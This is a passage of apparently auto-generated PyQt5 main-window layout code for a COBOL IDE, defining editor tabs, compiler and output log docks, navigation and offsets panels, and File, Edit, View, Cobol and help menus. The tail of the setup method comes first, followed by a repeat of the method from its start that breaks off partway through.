self.gridLayout_2.addWidget(self.tabWidgetEditors, 0, 0, 1, 1) self.stackedWidget.addWidget(self.page_2) self.gridLayout.addWidget(self.stackedWidget, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.toolBarFile = QtWidgets.QToolBar(MainWindow) self.toolBarFile.setObjectName("toolBarFile") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarFile) self.toolBarCode = QtWidgets.QToolBar(MainWindow) self.toolBarCode.setObjectName("toolBarCode") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarCode) self.dockWidgetLogs = QtWidgets.QDockWidget(MainWindow) self.dockWidgetLogs.setObjectName("dockWidgetLogs") self.dockWidgetContents = QtWidgets.QWidget() self.dockWidgetContents.setObjectName("dockWidgetContents") self.gridLayout_3 = QtWidgets.QGridLayout(self.dockWidgetContents) self.gridLayout_3.setContentsMargins(0, 0, 0, 0) self.gridLayout_3.setSpacing(0) self.gridLayout_3.setObjectName("gridLayout_3") self.tabWidgetLogs = QtWidgets.QTabWidget(self.dockWidgetContents) self.tabWidgetLogs.setObjectName("tabWidgetLogs") self.tabCompiler = QtWidgets.QWidget() self.tabCompiler.setObjectName("tabCompiler") self.gridLayout_6 = QtWidgets.QGridLayout(self.tabCompiler) self.gridLayout_6.setObjectName("gridLayout_6") self.textEditCompilerOutput = QtWidgets.QTextEdit(self.tabCompiler) self.textEditCompilerOutput.setObjectName("textEditCompilerOutput") self.gridLayout_6.addWidget(self.textEditCompilerOutput, 0, 0, 1, 1) icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-32x32.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabCompiler, icon1, "") self.tabCompiler1 = QtWidgets.QWidget() self.tabCompiler1.setObjectName("tabCompiler1") self.gridLayout_4 = QtWidgets.QGridLayout(self.tabCompiler1) self.gridLayout_4.setContentsMargins(6, 6, 6, 6) self.gridLayout_4.setObjectName("gridLayout_4") self.errorsTable = ErrorsTable(self.tabCompiler1) self.errorsTable.setMinimumSize(QtCore.QSize(0, 0)) self.errorsTable.setObjectName("errorsTable") self.errorsTable.setColumnCount(5) self.errorsTable.setRowCount(0) self.gridLayout_4.addWidget(self.errorsTable, 0, 0, 1, 1) icon = QtGui.QIcon.fromTheme("emblem-important") self.tabWidgetLogs.addTab(self.tabCompiler1, icon, "") self.tabProgramOutput = QtWidgets.QWidget() self.tabProgramOutput.setObjectName("tabProgramOutput") self.gridLayout_5 = QtWidgets.QGridLayout(self.tabProgramOutput) self.gridLayout_5.setContentsMargins(6, 6, 6, 6) self.gridLayout_5.setSpacing(6) self.gridLayout_5.setObjectName("gridLayout_5") self.consoleOutput = InteractiveConsole(self.tabProgramOutput) self.consoleOutput.setObjectName("consoleOutput") self.gridLayout_5.addWidget(self.consoleOutput, 0, 0, 1, 1) icon = QtGui.QIcon.fromTheme("media-playback-start") self.tabWidgetLogs.addTab(self.tabProgramOutput, icon, "") self.gridLayout_3.addWidget(self.tabWidgetLogs, 1, 0, 1, 1) self.dockWidgetLogs.setWidget(self.dockWidgetContents) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(8), self.dockWidgetLogs) self.menuBar = QtWidgets.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 1054, 21)) self.menuBar.setObjectName("menuBar") self.menuFile = QtWidgets.QMenu(self.menuBar) self.menuFile.setObjectName("menuFile") self.menuEdit = QtWidgets.QMenu(self.menuBar) self.menuEdit.setObjectName("menuEdit") self.mnuActiveEditor = QtWidgets.QMenu(self.menuEdit) icon = QtGui.QIcon.fromTheme("accessories-text-editor") self.mnuActiveEditor.setIcon(icon) self.mnuActiveEditor.setObjectName("mnuActiveEditor") self.menuView = QtWidgets.QMenu(self.menuBar) self.menuView.setObjectName("menuView") self.menuWindows = QtWidgets.QMenu(self.menuView) icon = QtGui.QIcon.fromTheme("window") self.menuWindows.setIcon(icon) self.menuWindows.setObjectName("menuWindows") self.menuCobol = QtWidgets.QMenu(self.menuBar) self.menuCobol.setObjectName("menuCobol") self.menuProgramType = QtWidgets.QMenu(self.menuCobol) self.menuProgramType.setObjectName("menuProgramType") self.menu = QtWidgets.QMenu(self.menuBar) self.menu.setObjectName("menu") MainWindow.setMenuBar(self.menuBar) self.dockWidgetNavPanel = QtWidgets.QDockWidget(MainWindow) self.dockWidgetNavPanel.setMinimumSize(QtCore.QSize(96, 114)) self.dockWidgetNavPanel.setFeatures(QtWidgets.QDockWidget.AllDockWidgetFeatures) self.dockWidgetNavPanel.setObjectName("dockWidgetNavPanel") self.dockWidgetContents_2 = QtWidgets.QWidget() self.dockWidgetContents_2.setObjectName("dockWidgetContents_2") self.gridLayout_7 = QtWidgets.QGridLayout(self.dockWidgetContents_2) self.gridLayout_7.setContentsMargins(3, 3, 3, 3) self.gridLayout_7.setSpacing(3) self.gridLayout_7.setObjectName("gridLayout_7") self.twNavigation = OutlineTreeWidget(self.dockWidgetContents_2) self.twNavigation.setObjectName("twNavigation") self.twNavigation.headerItem().setText(0, "1") self.twNavigation.header().setVisible(False) self.gridLayout_7.addWidget(self.twNavigation, 0, 0, 1, 1) self.dockWidgetNavPanel.setWidget(self.dockWidgetContents_2) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetNavPanel) self.dockWidgetOffsets = QtWidgets.QDockWidget(MainWindow) self.dockWidgetOffsets.setMinimumSize(QtCore.QSize(310, 114)) self.dockWidgetOffsets.setObjectName("dockWidgetOffsets") self.dockWidgetContents_3 = QtWidgets.QWidget() self.dockWidgetContents_3.setObjectName("dockWidgetContents_3") self.gridLayout_8 = QtWidgets.QGridLayout(self.dockWidgetContents_3) self.gridLayout_8.setContentsMargins(3, 3, 3, 3) self.gridLayout_8.setSpacing(3) self.gridLayout_8.setObjectName("gridLayout_8") self.tableWidgetOffsets = PicOffsetsTable(self.dockWidgetContents_3) self.tableWidgetOffsets.setMinimumSize(QtCore.QSize(300, 0)) self.tableWidgetOffsets.setDragDropOverwriteMode(False) self.tableWidgetOffsets.setShowGrid(True) self.tableWidgetOffsets.setObjectName("tableWidgetOffsets") self.tableWidgetOffsets.setColumnCount(4) self.tableWidgetOffsets.setRowCount(0) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(3, item) self.tableWidgetOffsets.horizontalHeader().setDefaultSectionSize(50) self.tableWidgetOffsets.horizontalHeader().setSortIndicatorShown(True) self.tableWidgetOffsets.horizontalHeader().setStretchLastSection(True) self.tableWidgetOffsets.verticalHeader().setVisible(False) self.gridLayout_8.addWidget(self.tableWidgetOffsets, 0, 0, 1, 1) self.dockWidgetOffsets.setWidget(self.dockWidgetContents_3) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetOffsets) self.dockWidgetFileSystem = QtWidgets.QDockWidget(MainWindow) self.dockWidgetFileSystem.setMinimumSize(QtCore.QSize(96, 145)) self.dockWidgetFileSystem.setObjectName("dockWidgetFileSystem") self.dockWidgetContents_4 = QtWidgets.QWidget() self.dockWidgetContents_4.setObjectName("dockWidgetContents_4") self.verticalLayout = QtWidgets.QVBoxLayout(self.dockWidgetContents_4) self.verticalLayout.setSpacing(0) self.verticalLayout.setContentsMargins(3, 0, 3, 3) self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setSpacing(0) self.horizontalLayout_2.setContentsMargins(-1, 0, -1, -1) self.horizontalLayout_2.setObjectName("horizontalLayout_2") spacerItem10 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem10) self.btFSLock = QtWidgets.QPushButton(self.dockWidgetContents_4) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btFSLock.sizePolicy().hasHeightForWidth()) self.btFSLock.setSizePolicy(sizePolicy) self.btFSLock.setText("") icon = QtGui.QIcon.fromTheme("system-lock-screen") self.btFSLock.setIcon(icon) self.btFSLock.setIconSize(QtCore.QSize(16, 16)) self.btFSLock.setCheckable(True) self.btFSLock.setChecked(False) self.btFSLock.setFlat(True) self.btFSLock.setObjectName("btFSLock") self.horizontalLayout_2.addWidget(self.btFSLock) self.verticalLayout.addLayout(self.horizontalLayout_2) self.tvFileSystem = FileSystemTreeView(self.dockWidgetContents_4) self.tvFileSystem.setObjectName("tvFileSystem") self.verticalLayout.addWidget(self.tvFileSystem) self.dockWidgetFileSystem.setWidget(self.dockWidgetContents_4) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetFileSystem) self.actionQuit = QtWidgets.QAction(MainWindow) self.actionQuit.setIconVisibleInMenu(True) self.actionQuit.setObjectName("actionQuit") self.actionRun = QtWidgets.QAction(MainWindow) self.actionRun.setIconVisibleInMenu(True) self.actionRun.setObjectName("actionRun") self.actionAbout = QtWidgets.QAction(MainWindow) self.actionAbout.setIconVisibleInMenu(True) self.actionAbout.setObjectName("actionAbout") self.actionSave = QtWidgets.QAction(MainWindow) self.actionSave.setIconVisibleInMenu(True) self.actionSave.setObjectName("actionSave") self.actionSaveAs = QtWidgets.QAction(MainWindow) self.actionSaveAs.setIconVisibleInMenu(True) self.actionSaveAs.setObjectName("actionSaveAs") self.actionFullscreen = QtWidgets.QAction(MainWindow) self.actionFullscreen.setCheckable(True) self.actionFullscreen.setIconVisibleInMenu(True) self.actionFullscreen.setObjectName("actionFullscreen") self.actionNew = QtWidgets.QAction(MainWindow) self.actionNew.setIconVisibleInMenu(True) self.actionNew.setObjectName("actionNew") self.actionOpen = QtWidgets.QAction(MainWindow) self.actionOpen.setIconVisibleInMenu(True) self.actionOpen.setObjectName("actionOpen") self.actionClear = QtWidgets.QAction(MainWindow) self.actionClear.setIconVisibleInMenu(True) self.actionClear.setObjectName("actionClear") self.actionPreferences = QtWidgets.QAction(MainWindow) self.actionPreferences.setIconVisibleInMenu(True) self.actionPreferences.setObjectName("actionPreferences") self.actionHelp = QtWidgets.QAction(MainWindow) self.actionHelp.setIconVisibleInMenu(True) self.actionHelp.setObjectName("actionHelp") self.actionProgram = QtWidgets.QAction(MainWindow) self.actionProgram.setCheckable(True) self.actionProgram.setChecked(True) self.actionProgram.setObjectName("actionProgram") self.actionSubprogram = QtWidgets.QAction(MainWindow) self.actionSubprogram.setCheckable(True) self.actionSubprogram.setObjectName("actionSubprogram") self.actionCompile = QtWidgets.QAction(MainWindow) self.actionCompile.setIconVisibleInMenu(True) self.actionCompile.setObjectName("actionCompile") self.actionCancel = QtWidgets.QAction(MainWindow) self.actionCancel.setObjectName("actionCancel") self.actionReport_a_bug = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("tools-report-bug") self.actionReport_a_bug.setIcon(icon) self.actionReport_a_bug.setObjectName("actionReport_a_bug") self.actionRestore_factory_defaults = QtWidgets.QAction(MainWindow) self.actionRestore_factory_defaults.setObjectName("actionRestore_factory_defaults") self.dockWidgetNavPanel.raise_() self.toolBarFile.addAction(self.actionNew) self.toolBarFile.addAction(self.actionOpen) self.toolBarFile.addSeparator() self.toolBarFile.addAction(self.actionSave) self.toolBarFile.addAction(self.actionSaveAs) self.toolBarCode.addAction(self.actionRun) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionOpen) self.menuFile.addSeparator() self.menuFile.addAction(self.actionSave) self.menuFile.addAction(self.actionSaveAs) self.menuFile.addSeparator() self.menuFile.addAction(self.actionQuit) self.mnuActiveEditor.addSeparator() self.menuEdit.addAction(self.mnuActiveEditor.menuAction()) self.menuEdit.addSeparator() self.menuEdit.addAction(self.actionPreferences) self.menuView.addAction(self.menuWindows.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.actionFullscreen) self.menuProgramType.addAction(self.actionProgram) self.menuProgramType.addAction(self.actionSubprogram) self.menuCobol.addAction(self.menuProgramType.menuAction()) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCompile) self.menuCobol.addAction(self.actionRun) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCancel) self.menu.addAction(self.actionHelp) self.menu.addAction(self.actionAbout) self.menu.addSeparator() self.menu.addAction(self.actionReport_a_bug) self.menu.addSeparator() self.menu.addAction(self.actionRestore_factory_defaults) self.menuBar.addAction(self.menuFile.menuAction()) self.menuBar.addAction(self.menuEdit.menuAction()) self.menuBar.addAction(self.menuView.menuAction()) self.menuBar.addAction(self.menuCobol.menuAction()) self.menuBar.addAction(self.menu.menuAction()) self.retranslateUi(MainWindow) self.stackedWidget.setCurrentIndex(0) self.tabWidgetLogs.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow)
class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(1054, 831) MainWindow.setMinimumSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-192x192.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) MainWindow.setWindowIcon(icon) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self.stackedWidget = QtWidgets.QStackedWidget(self.centralwidget) self.stackedWidget.setObjectName("stackedWidget") self.pageHome = QtWidgets.QWidget() self.pageHome.setObjectName("pageHome") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageHome) self.verticalLayout_5.setObjectName("verticalLayout_5") self.widgetHome = QtWidgets.QWidget(self.pageHome) self.widgetHome.setObjectName("widgetHome") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widgetHome) self.verticalLayout_2.setContentsMargins(0, 0, 0, 0) self.verticalLayout_2.setObjectName("verticalLayout_2") spacerItem = QtWidgets.QSpacerItem(20, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setContentsMargins(0, -1, 0, -1) self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.verticalLayout_3 = QtWidgets.QVBoxLayout() self.verticalLayout_3.setObjectName("verticalLayout_3") self.label_3 = QtWidgets.QLabel(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_3.sizePolicy().hasHeightForWidth()) self.label_3.setSizePolicy(sizePolicy) self.label_3.setMinimumSize(QtCore.QSize(0, 0)) self.label_3.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.label_3.setWordWrap(True) self.label_3.setObjectName("label_3") self.verticalLayout_3.addWidget(self.label_3) self.horizontalLayout_3.addLayout(self.verticalLayout_3) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.verticalLayout_2.addLayout(self.horizontalLayout_3) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) self.horizontalLayout_8.setObjectName("horizontalLayout_8") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem3) self.btNewFile = QtWidgets.QPushButton(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btNewFile.sizePolicy().hasHeightForWidth()) self.btNewFile.setSizePolicy(sizePolicy) self.btNewFile.setMinimumSize(QtCore.QSize(200, 0)) self.btNewFile.setObjectName("btNewFile") self.horizontalLayout_8.addWidget(self.btNewFile) self.btOpenFile = QtWidgets.QPushButton(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btOpenFile.sizePolicy().hasHeightForWidth()) self.btOpenFile.setSizePolicy(sizePolicy) self.btOpenFile.setMinimumSize(QtCore.QSize(200, 0)) self.btOpenFile.setStyleSheet("") self.btOpenFile.setObjectName("btOpenFile") self.horizontalLayout_8.addWidget(self.btOpenFile) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem4) self.verticalLayout_2.addLayout(self.horizontalLayout_8) self.horizontalLayout_9 = QtWidgets.QHBoxLayout() self.horizontalLayout_9.setContentsMargins(0, 0, 0, -1) self.horizontalLayout_9.setObjectName("horizontalLayout_9") spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem5) self.line_2 = QtWidgets.QFrame(self.widgetHome) self.line_2.setMinimumSize(QtCore.QSize(400, 0)) self.line_2.setFrameShape(QtWidgets.QFrame.HLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.horizontalLayout_9.addWidget(self.line_2) spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem6) self.verticalLayout_2.addLayout(self.horizontalLayout_9) self.horizontalLayout_5 = QtWidgets.QHBoxLayout() self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1) self.horizontalLayout_5.setObjectName("horizontalLayout_5") spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem7) self.frameRecents = QtWidgets.QFrame(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frameRecents.sizePolicy().hasHeightForWidth()) self.frameRecents.setSizePolicy(sizePolicy) self.frameRecents.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frameRecents.setFrameShadow(QtWidgets.QFrame.Raised) self.frameRecents.setObjectName("frameRecents") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frameRecents) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.verticalLayout_4.setObjectName("verticalLayout_4") self.labelRecents = QtWidgets.QLabel(self.frameRecents) self.labelRecents.setObjectName("labelRecents") self.verticalLayout_4.addWidget(self.labelRecents) self.listWidgetRecents = RecentFilesListWidget(self.frameRecents) self.listWidgetRecents.setMinimumSize(QtCore.QSize(400, 0)) self.listWidgetRecents.setObjectName("listWidgetRecents") self.verticalLayout_4.addWidget(self.listWidgetRecents) self.horizontalLayout_5.addWidget(self.frameRecents) spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem8) self.verticalLayout_2.addLayout(self.horizontalLayout_5) spacerItem9 = QtWidgets.QSpacerItem(20, 1, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem9) self.verticalLayout_5.addWidget(self.widgetHome) self.stackedWidget.addWidget(self.pageHome) self.page_2 = QtWidgets.QWidget() self.page_2.setObjectName("page_2") self.gridLayout_2 = QtWidgets.QGridLayout(self.page_2) self.gridLayout_2.setContentsMargins(0, 0, 0, 0) self.gridLayout_2.setSpacing(0) self.gridLayout_2.setObjectName("gridLayout_2") self.tabWidgetEditors = TabWidget(self.page_2) self.tabWidgetEditors.setOrientation(QtCore.Qt.Horizontal) self.tabWidgetEditors.setObjectName("tabWidgetEditors") self.gridLayout_2.addWidget(self.tabWidgetEditors, 0, 0, 1, 1) self.stackedWidget.addWidget(self.page_2) self.gridLayout.addWidget(self.stackedWidget, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.toolBarFile = QtWidgets.QToolBar(MainWindow) self.toolBarFile.setObjectName("toolBarFile") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarFile) self.toolBarCode = QtWidgets.QToolBar(MainWindow) self.toolBarCode.setObjectName("toolBarCode") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarCode) self.dockWidgetLogs = QtWidgets.QDockWidget(MainWindow) self.dockWidgetLogs.setObjectName("dockWidgetLogs") self.dockWidgetContents = QtWidgets.QWidget() self.dockWidgetContents.setObjectName("dockWidgetContents") self.gridLayout_3 = QtWidgets.QGridLayout(self.dockWidgetContents) self.gridLayout_3.setContentsMargins(0, 0, 0, 0) self.gridLayout_3.setSpacing(0) self.gridLayout_3.setObjectName("gridLayout_3") self.tabWidgetLogs = QtWidgets.QTabWidget(self.dockWidgetContents) self.tabWidgetLogs.setObjectName("tabWidgetLogs") self.tabCompiler = QtWidgets.QWidget() self.tabCompiler.setObjectName("tabCompiler") self.gridLayout_6 = QtWidgets.QGridLayout(self.tabCompiler) self.gridLayout_6.setObjectName("gridLayout_6") self.textEditCompilerOutput = QtWidgets.QTextEdit(self.tabCompiler) self.textEditCompilerOutput.setObjectName("textEditCompilerOutput") self.gridLayout_6.addWidget(self.textEditCompilerOutput, 0, 0, 1, 1) icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-32x32.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabCompiler, icon1, "") self.tabCompiler1 = QtWidgets.QWidget() self.tabCompiler1.setObjectName("tabCompiler1") self.gridLayout_4 = QtWidgets.QGridLayout(self.tabCompiler1) self.gridLayout_4.setContentsMargins(6, 6, 6, 6) self.gridLayout_4.setObjectName("gridLayout_4") self.errorsTable = ErrorsTable(self.tabCompiler1) self.errorsTable.setMinimumSize(QtCore.QSize(0, 0)) self.errorsTable.setObjectName("errorsTable") self.errorsTable.setColumnCount(5) self.errorsTable.setRowCount(0) self.gridLayout_4.addWidget(self.errorsTable, 0, 0, 1, 1) icon = QtGui.QIcon.fromTheme("emblem-important") self.tabWidgetLogs.addTab(self.tabCompiler1, icon, "") self.tabProgramOutput = QtWidgets.QWidget() self.tabProgramOutput.setObjectName("tabProgramOutput") self.gridLayout_5 = QtWidgets.QGridLayout(self.tabProgramOutput) self.gridLayout_5.setContentsMargins(6, 6, 6, 6) self.gridLayout_5.setSpacing(6) self.gridLayout_5.setObjectName("gridLayout_5") self.consoleOutput = InteractiveConsole(self.tabProgramOutput) self.consoleOutput.setObjectName("consoleOutput") self.gridLayout_5.addWidget(self.consoleOutput, 0, 0, 1, 1) icon = QtGui.QIcon.fromTheme("media-playback-start") self.tabWidgetLogs.addTab(self.tabProgramOutput, icon, "") self.gridLayout_3.addWidget(self.tabWidgetLogs, 1, 0, 1, 1) self.dockWidgetLogs.setWidget(self.dockWidgetContents) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(8), self.dockWidgetLogs) self.menuBar = QtWidgets.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 1054, 21)) self.menuBar.setObjectName("menuBar") self.menuFile = QtWidgets.QMenu(self.menuBar) self.menuFile.setObjectName("menuFile") self.menuEdit = QtWidgets.QMenu(self.menuBar) self.menuEdit.setObjectName("menuEdit") self.mnuActiveEditor = QtWidgets.QMenu(self.menuEdit) icon = QtGui.QIcon.fromTheme("accessories-text-editor") self.mnuActiveEditor.setIcon(icon) self.mnuActiveEditor.setObjectName("mnuActiveEditor") self.menuView = QtWidgets.QMenu(self.menuBar) self.menuView.setObjectName("menuView") self.menuWindows = QtWidgets.QMenu(self.menuView) icon = QtGui.QIcon.fromTheme("window") self.menuWindows.setIcon(icon) self.menuWindows.setObjectName("menuWindows") self.menuCobol = QtWidgets.QMenu(self.menuBar) self.menuCobol.setObjectName("menuCobol") self.menuProgramType = QtWidgets.QMenu(self.menuCobol) self.menuProgramType.setObjectName("menuProgramType") self.menu = QtWidgets.QMenu(self.menuBar) self.menu.setObjectName("menu") MainWindow.setMenuBar(self.menuBar) self.dockWidgetNavPanel = QtWidgets.QDockWidget(MainWindow) self.dockWidgetNavPanel.setMinimumSize(QtCore.QSize(96, 114)) self.dockWidgetNavPanel.setFeatures(QtWidgets.QDockWidget.AllDockWidgetFeatures) self.dockWidgetNavPanel.setObjectName("dockWidgetNavPanel") self.dockWidgetContents_2 = QtWidgets.QWidget() self.dockWidgetContents_2.setObjectName("dockWidgetContents_2") self.gridLayout_7 = QtWidgets.QGridLayout(self.dockWidgetContents_2) self.gridLayout_7.setContentsMargins(3, 3, 3, 3) self.gridLayout_7.setSpacing(3) self.gridLayout_7.setObjectName("gridLayout_7") self.twNavigation = OutlineTreeWidget(self.dockWidgetContents_2) self.twNavigation.setObjectName("twNavigation") self.twNavigation.headerItem().setText(0, "1") self.twNavigation.header().setVisible(False) self.gridLayout_7.addWidget(self.twNavigation, 0, 0, 1, 1) self.dockWidgetNavPanel.setWidget(self.dockWidgetContents_2) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetNavPanel) self.dockWidgetOffsets = QtWidgets.QDockWidget(MainWindow) self.dockWidgetOffsets.setMinimumSize(QtCore.QSize(310, 114)) self.dockWidgetOffsets.setObjectName("dockWidgetOffsets") self.dockWidgetContents_3 = QtWidgets.QWidget() self.dockWidgetContents_3.setObjectName("dockWidgetContents_3") self.gridLayout_8 = QtWidgets.QGridLayout(self.dockWidgetContents_3) self.gridLayout_8.setContentsMargins(3, 3, 3, 3) self.gridLayout_8.setSpacing(3) self.gridLayout_8.setObjectName("gridLayout_8") self.tableWidgetOffsets = PicOffsetsTable(self.dockWidgetContents_3) self.tableWidgetOffsets.setMinimumSize(QtCore.QSize(300, 0)) self.tableWidgetOffsets.setDragDropOverwriteMode(False) self.tableWidgetOffsets.setShowGrid(True) self.tableWidgetOffsets.setObjectName("tableWidgetOffsets") self.tableWidgetOffsets.setColumnCount(4) self.tableWidgetOffsets.setRowCount(0) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(3, item) self.tableWidgetOffsets.horizontalHeader().setDefaultSectionSize(50) self.tableWidgetOffsets.horizontalHeader().setSortIndicatorShown(True) self.tableWidgetOffsets.horizontalHeader().setStretchLastSection(True) self.tableWidgetOffsets.verticalHeader().setVisible(False) self.gridLayout_8.addWidget(self.tableWidgetOffsets, 0, 0, 1, 1) self.dockWidgetOffsets.setWidget(self.dockWidgetContents_3) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetOffsets) self.dockWidgetFileSystem = QtWidgets.QDockWidget(MainWindow) self.dockWidgetFileSystem.setMinimumSize(QtCore.QSize(96, 145)) self.dockWidgetFileSystem.setObjectName("dockWidgetFileSystem") self.dockWidgetContents_4 = QtWidgets.QWidget() self.dockWidgetContents_4.setObjectName("dockWidgetContents_4") self.verticalLayout = QtWidgets.QVBoxLayout(self.dockWidgetContents_4) self.verticalLayout.setSpacing(0) self.verticalLayout.setContentsMargins(3, 0, 3, 3) self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setSpacing(0) self.horizontalLayout_2.setContentsMargins(-1, 0, -1, -1) self.horizontalLayout_2.setObjectName("horizontalLayout_2") spacerItem10 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem10) self.btFSLock = QtWidgets.QPushButton(self.dockWidgetContents_4) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) 